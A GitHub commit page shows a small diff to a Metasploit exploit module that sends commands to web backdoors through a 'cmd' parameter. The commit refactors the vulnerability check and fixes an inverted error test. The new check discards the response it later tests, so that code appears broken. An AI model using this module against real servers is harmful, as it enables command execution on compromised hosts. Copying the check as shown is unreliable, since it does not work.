Skip to content

Commit fa1391d

Browse files
committed
Update simple_backdoors_exec.rb
Updating the code as suggested
1 parent 2de6c77 commit fa1391d

File tree

1 file changed

+3
-9
lines changed

1 file changed

+3
-9
lines changed

modules/exploits/multi/http/simple_backdoors_exec.rb

Lines changed: 3 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -58,14 +58,7 @@ def initialize(info={})
5858

5959
def check
6060
test = Rex::Text.rand_text_alpha(8)
61-
res = send_request_cgi({
62-
'method' => 'GET',
63-
'uri' => normalize_uri(target_uri.path),
64-
'vars_get' =>
65-
{
66-
'cmd' => test
67-
}
68-
})
61+
http_send_command(test)
6962
if res && res.body =~ /#{test}/
7063
return Exploit::CheckCode::Vulnerable
7164
end
@@ -80,9 +73,10 @@ def http_send_command(cmd)
8073
'cmd' => cmd
8174
}
8275
})
83-
if !res && res.code == 200
76+
unless res && res.code == 200
8477
fail_with(Failure::Unknown, "Failed to execute the command.")
8578
end
79+
res
8680
end
8781

8882
def exploit

0 commit comments

Comments
 (0)